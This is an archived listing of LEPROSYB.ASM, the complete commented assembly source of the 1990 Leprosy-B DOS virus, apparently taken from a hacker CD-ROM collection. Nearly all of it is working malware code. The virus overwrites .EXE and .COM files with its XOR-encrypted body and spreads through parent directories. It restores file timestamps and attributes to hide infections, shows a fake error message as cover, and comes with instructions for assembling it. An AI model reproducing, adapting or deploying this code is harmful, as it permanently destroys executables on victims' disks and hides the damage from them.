home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / leprosyb.asm < prev    next >
Assembly Source File  |  1995-01-03  |  13KB  |  245 lines

  1. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  2. ;                       Copy-ya-right (c) 1990 by PCM2.
  3. ;
  4. ;  This file is the source code to the Leprosy-B virus.  It should
  5. ;  be assembled with an MASM-compatible assembler; it has been tested
  6. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  7. ;  It should be made into a .COM file before executing, with either
  8. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  9. ;
  10. ;  This program has the potential to permanently destroy executable
  11. ;  images on any disk medium.  Other modifications may have been made
  12. ;  subsequent to the original release by the author, either benign,
  13. ;  or which could result in further harm should this program be run.
  14. ;  In any case, the author assumes no responsibility for any damage
  15. ;  caused by this program, incidental or otherwise.  As a precaution,
  16. ;  this program should not be turned over to irresponsible hands...
  17. ;  (unlike people like us, that is).
  18.  
  19.  
  20.                 title   "Leprosy-B Virus by PCM2, August 1990"
  21.  
  22. cr              equ     13              ;  Carriage return ASCII code
  23. lf              equ     10              ;  Linefeed ASCII code
  24. tab             equ     9               ;  Tab ASCII code
  25. virus_size      equ     666             ;  Size of the virus file
  26. code_start      equ     100h            ;  Address right after PSP in memory
  27. dta             equ     80h             ;  Addr of default disk transfer area
  28. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  29. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  30. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  31. attribute       equ     21              ;  Offset in DTA of file attribute
  32.  
  33.  
  34.         code    segment 'code'          ;  Open code segment
  35.         assume  cs:code,ds:code         ;  One segment for both code & data
  36.                 org     code_start      ;  Start code image after PSP
  37.  
  38. ;---------------------------------------------------------------------
  39. ;  All executable code is contained in boundaries of procedure "main".
  40. ;  The following code, until the start of "virus_code", is the non-
  41. ;  encrypted CMT portion of the code to load up the real program.
  42. ;---------------------------------------------------------------------
  43. main    proc    near                    ;  Code execution begins here
  44.         call    encrypt_decrypt         ;  Decrypt the real virus code
  45.         jmp     random_mutation         ;  Put the virus into action
  46.  
  47. encrypt_val     db      00h             ;  Hold value to encrypt by here
  48.  
  49. ; ----------  Encrypt, save, and restore the virus code  -----------
  50. infect_file:
  51.         mov     bx,handle               ;  Get the handle
  52.         push    bx                      ;  Save it on the stack
  53.         call    encrypt_decrypt         ;  Encrypt most of the code
  54.         pop     bx                      ;  Get back the handle
  55.         mov     cx,virus_size           ;  Total number of bytes to write
  56.         mov     dx,code_start           ;  Buffer where code starts in memory
  57.         mov     ah,40h                  ;  DOS write-to-handle service
  58.         int     21h                     ;  Write the virus code into the file
  59.         call    encrypt_decrypt         ;  Restore the code as it was
  60.         ret                             ;  Go back to where you came from
  61.  
  62. ; ---------------  Encrypt or decrypt the virus code  ----------------
  63. encrypt_decrypt:
  64.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  65. xor_loop:                               ;  Start cycle here
  66.         mov     ah,[bx]                 ;  Get the current byte
  67.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  68.         mov     [bx],ah                 ;  Put it back where we got it
  69.         inc     bx                      ;  Move BX ahead a byte
  70.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  71.         jle     xor_loop                ;  If not, do another cycle
  72.         ret                             ;  and go back where we came from
  73.  
  74. ;-----------------------------------------------------------------------
  75. ;   The rest of the code from here on remains encrypted until run-time,
  76. ;   using a fundamental XOR technique that changes via CMT.
  77. ;-----------------------------------------------------------------------
  78. virus_code:
  79.  
  80. ;----------------------------------------------------------------------------
  81. ;  All strings are kept here in the file, and automatically encrypted.
  82. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  83. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  84. ;  changes, even when the strings stay the same.
  85. ;----------------------------------------------------------------------------
  86. exe_filespec    db      "*.EXE",0
  87. com_filespec    db      "*.COM",0
  88. newdir          db      "..",0
  89. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  90. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  91. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  92. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  93. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  94. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  95. files_found     db      ?
  96. files_infected  db      ?
  97. orig_time       dw      ?
  98. orig_date       dw      ?
  99. orig_attr       dw      ?
  100. handle          dw      ?
  101. success         db      ?
  102.  
  103. random_mutation:                        ; First decide if virus is to mutate
  104.         mov     ah,2ch                  ; Set up DOS function to get time
  105.         int     21h
  106.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  107.         je      install_val             ; If so, install whatever you get.
  108.         cmp     dh,15                   ; Is it less than 16 seconds?
  109.         jg      find_extension          ; If not, don't mutate this time
  110. install_val:
  111.         cmp     dl,0                    ; Will we be encrypting using zero?
  112.         je      random_mutation         ; If so, get a new value.
  113.         mov     encrypt_val,dl          ; Otherwise, save the new value
  114. find_extension:                         ; Locate file w/ valid extension
  115.         mov     files_found,0           ; Count infected files found
  116.         mov     files_infected,4        ; BX counts file infected so far
  117.         mov     success,0
  118. find_exe:
  119.         mov     cx,00100111b            ; Look for all flat file attributes
  120.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  121.         mov     ah,4eh                  ; Call DOS find first service
  122.         int     21h
  123.         cmp     ax,12h                  ; Are no files found?
  124.         je      find_com                ; If not, nothing more to do
  125.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  126. find_com:
  127.         mov     cx,00100111b            ; Look for all flat file attributes
  128.         mov     dx,offset com_filespec  ; Check for .COM extension now
  129.         mov     ah,4eh                  ; Call DOS find first service
  130.         int     21h
  131.         cmp     ax,12h                  ; Are no files found?
  132.         je      chdir                   ; If not, step back a directory
  133.         call    find_healthy            ; Otherwise, try to find healthy .COM
  134. chdir:                                  ; Routine to step back one level
  135.         mov     dx,offset newdir        ; Load DX with address of pathname
  136.         mov     ah,3bh                  ; Change directory DOS service
  137.         int     21h
  138.         dec     files_infected          ; This counts as infecting a file
  139.         jnz     find_exe                ; If we're still rolling, find another
  140.         jmp     exit_virus              ; Otherwise let's pack it up
  141. find_healthy:
  142.         mov     bx,dta                  ; Point BX to address of DTA
  143.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  144.         mov     orig_attr,ax            ; Save it
  145.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  146.         mov     orig_time,ax            ; Save it
  147.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  148.         mov     orig_date,ax            ; Save it
  149.         mov     dx,dta+filename         ; Get the filename to change attribute
  150.         mov     cx,0                    ; Clear all attribute bytes
  151.         mov     al,1                    ; Set attribute sub-function
  152.         mov     ah,43h                  ; Call DOS service to do it
  153.         int     21h
  154.         mov     al,2                    ; Set up to open handle for read/write
  155.         mov     ah,3dh                  ; Open file handle DOS service
  156.         int     21h
  157.         mov     handle,ax               ; Save the file handle
  158.         mov     bx,ax                   ; Transfer the handle to BX for read
  159.         mov     cx,20                   ; Read in the top 20 bytes of file
  160.         mov     dx,offset compare_buf   ; Use the small buffer up top
  161.         mov     ah,3fh                  ; DOS read-from-handle service
  162.         int     21h
  163.         mov     bx,offset compare_buf   ; Adjust the encryption value
  164.         mov     ah,encrypt_val          ; for accurate comparison
  165.         mov     [bx+6],ah
  166.         mov     si,code_start           ; One array to compare is this file
  167.         mov     di,offset compare_buf   ; The other array is the buffer
  168.         mov     ax,ds                   ; Transfer the DS register...
  169.         mov     es,ax                   ; ...to the ES register
  170.         cld
  171.         repe    cmpsb                   ; Compare the buffer to the virus
  172.         jne     healthy                 ; If different, the file is healthy!
  173.         call    close_file              ; Close it up otherwise
  174.         inc     files_found             ; Chalk up another fucked up file
  175. continue_search:
  176.         mov     ah,4fh                  ; Find next DOS function
  177.         int     21h                     ; Try to find another same type file
  178.         cmp     ax,12h                  ; Are there any more files?
  179.         je      no_more_found           ; If not, get outta here
  180.         jmp     find_healthy            ; If so, try the process on this one!
  181. no_more_found:
  182.         ret                             ; Go back to where we came from
  183. healthy:
  184.         mov     bx,handle               ; Get the file handle
  185.         mov     ah,3eh                  ; Close it for now
  186.         int     21h
  187.         mov     ah,3dh                  ; Open it again, to reset it
  188.         mov     dx,dta+filename
  189.         mov     al,2
  190.         int     21h
  191.         mov     handle,ax               ; Save the handle again
  192.         call    infect_file             ; Infect the healthy file
  193.         call    close_file              ; Close down this operation
  194.         inc     success                 ; Indicate we did something this time
  195.         dec     files_infected          ; Scratch off another file on agenda
  196.         jz      exit_virus              ; If we're through, terminate
  197.         jmp     continue_search         ; Otherwise, try another
  198.         ret
  199. close_file:
  200.         mov     bx,handle               ; Get the file handle off the stack
  201.         mov     cx,orig_time            ; Get the date stamp
  202.         mov     dx,orig_date            ; Get the time stamp
  203.         mov     al,1                    ; Set file date/time sub-service
  204.         mov     ah,57h                  ; Get/Set file date and time service
  205.         int     21h                     ; Call DOS
  206.         mov     bx,handle
  207.         mov     ah,3eh                  ; Close handle DOS service
  208.         int     21h
  209.         mov     cx,orig_attr            ; Get the file's original attribute
  210.         mov     al,1                    ; Instruct DOS to put it back there
  211.         mov     dx,dta+filename         ; Feed it the filename
  212.         mov     ah,43h                  ; Call DOS
  213.         int     21h
  214.         ret
  215. exit_virus:
  216.         cmp     files_found,6           ; Are at least 6 files infected?
  217.         jl      print_fake              ; If not, keep a low profile
  218.         cmp     success,0               ; Did we infect anything?
  219.         jg      print_fake              ; If so, cover it up
  220.         mov     ah,09h                  ; Use DOS print string service
  221.         mov     dx,offset virus_msg1    ; Load the address of the first line
  222.         int     21h                     ; Print it
  223.         mov     dx,offset virus_msg2    ; Load the second line
  224.         int     21h                     ; (etc)
  225.         mov     dx,offset virus_msg3
  226.         int     21h
  227.         mov     dx,offset virus_msg4
  228.         int     21h
  229.         jmp     terminate
  230. print_fake:
  231.         mov     ah,09h                  ; Use DOS to print fake error message
  232.         mov     dx,offset fake_msg
  233.         int     21h
  234. terminate:
  235.         mov     ah,4ch                  ; DOS terminate process function
  236.         int     21h                     ; Call DOS to get out of this program
  237.  
  238. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  239.  
  240. main    endp
  241. code    ends
  242.         end     main
  243.  
  244. Downloaded From P-80 International Information Systems 304-744-2253
  245.